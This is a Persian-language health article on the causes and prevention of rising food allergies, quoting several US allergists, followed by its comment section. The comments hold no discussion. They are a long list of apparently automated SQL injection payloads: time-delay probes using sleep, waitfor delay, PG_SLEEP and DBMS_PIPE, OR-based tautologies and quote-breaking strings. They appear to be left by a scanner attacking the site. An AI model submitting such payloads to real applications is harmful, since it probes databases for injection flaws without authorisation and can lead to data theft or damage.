بر طبق اظهارات دکتر تانیا الیوت، پزشک متخصص در مرکز سلامت NYU در نیویورک و سخنگوی ملی موسسه آلرژی آمریکا، واقعیت این است که فارغ از علت دقیق، ابتلا به آلرژی غذایی بیش از 200 درصد در 20 سال گذشته افزایش یافته است. او گفت: به نظر می‌رسد چندین علت مختلف شامل شرایط ژنتیکی و محیطی در ابتلا به این آلرژی موثر است.
دکتر لاکیا رایت، پرشک متخصص داخلی، آلرژی و ایمونولوژی در بیمارستان Brigham and Women در بوستون نیز این اظهارات را تایید کرد.
فاکتورهای متعدد اولیه‌ای برای افزایش شیوع این بیماری وجود دارد. دکتر رایت به برخی از آن‌ها اشاره کرده است:
زمان‌بندی استفاده از غذاها: تاخیر در استفاده از غذاهای آلرژی‌زایی همانند بادام زمینی و تخم مرغ، احتمالا در افزایش شیوع آلرژی‌های غذایی دخیل است.
فرضیه بهداشت: امروزه با استفاده از صابون‌های آنتی باکتریال و ضدعفونی کننده‌های دست همه ما تمیز هستیم. اگرچه، در معرض قرارگرفتن بیشتر با میکروب‌ها ممکن است به افزایش تحمل‌پذیری سیستم ایمنی بدن کمک کند.
تغییرات آب و هوایی: رشد محصولات زراعی با توجه به تغییرات دمایی، ممکن است آن‌ها را بیشتر ایمونوژنیک نماید و سیستم ایمنی را تحریک سازد و باعث پیشرفت آلرژی‌های غذایی گردد.
الگوهای زندگی روزانه: مردم در سراسر جهان به خوردن هرچه بیشتر غذاهای آماده و کمتر سبزیجات و میوه‌ها روی آورده‌اند و این مسئله بر روی مکیروبیوم روده موثر است.
ژن‌ها و محیط زیست: تغذیه مادر پیش از تولد، آلودگی و مواد شیمیایی
دکتر جونز، متخصص ایمونولوژی و آلرژی در کلینیک Rocky Mountain Allergy at Tanner Clinic در یوتا، اضافه کرد که استفاده از آنتی‌بیوتیک‌های جدید ممکن است بر روده و احتمال پیشرفت آلرژی‌ها اثرگذار باشد. او گفت: همچنین استفاده‌ی زود هنگام از داروهای اسید معده در کودکان میتواند با تغییر در PH شکم و نحوه‌ی پاسخ سیستم بدن به غذای هضم شده، مشکل ساز باشد.
چگونه از پیشرفت بیماری جلوگیری کنیم
برای مثل، آلرژی به بادام زمینی به نظر می‌رسد که هر دو عامل مولفه‌ی ژنتیکی و محیط زیستی را دارد. در مورد ژنتیک کاری از دستمان بر نمی‌آید اما برای عامل محیط زیست، رویکردهای کمک کننده وجود دارد. الیوت می‌گوید: به نظر می‌رسد جلوگیری از قراردادن بادام زمینی در برنامه غذایی تا قبل از 2 سالگی سبب افزایش آلرژی به آن می‌شود. امروزه تصور می‌شود استفاده زود هنگام از مواد‌غذایی فاکتور مهمی در جلوگیری از ابتلا به آلرژی‌های غذایی است. تلاش‌های زیادی صورت گرفته است و محققین در حال کشف واکسنی کاربردی برای آلرژی بادام زمینی هستند.
سوانسون می‌گوید: استفاده از مواد غذایی گوناگون در اوایل دوران زندگی، حداقل در کودکان، میتواند قدمی رو به جلو باشد. متخصصین کودکان به دنبال تغییر روش‌ها در جهت محافظت از کودکان در برابر ابتلا به آلرژی غذایی هستند. آن‌ها به والدین پیشنهاد می‌کنند که در همان سنین اولیه، حدودا 4 تا 6 ماه، مواد غذایی آلرژی زا را به کودکان خود بدهند؛ درست زمانی که سیستم ایمنی بدن در حال رشد است. او در ادامه اضافه کرد: این روش باعث افزایش تحمل‌پذیری در کودکان شما می‌شود.
لينك منبع
نظرات (29)
8bysXrb6
1*
1*
1*
1*
-1 OR 2+587-587-1=0+0+0+1
-1 OR 3+587-587-1=0+0+0+1
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1)); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
jzw0R6Mt'; waitfor delay '0:0:15' --
f0ZfegpR'); waitfor delay '0:0:15' --
msHYopPB')); waitfor delay '0:0:15' --
-5 OR 103=(SELECT 103 FROM PG_SLEEP(15))--
-5) OR 928=(SELECT 928 FROM PG_SLEEP(15))--
-1)) OR 447=(SELECT 447 FROM PG_SLEEP(15))--
ZGa1n0AE' OR 338=(SELECT 338 FROM PG_SLEEP(15))--
UZagVzao') OR 894=(SELECT 894 FROM PG_SLEEP(15))--
qKnTIYUE')) OR 597=(SELECT 597 FROM PG_SLEEP(15))--
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
1 ����%2527%2522
@@K2qJh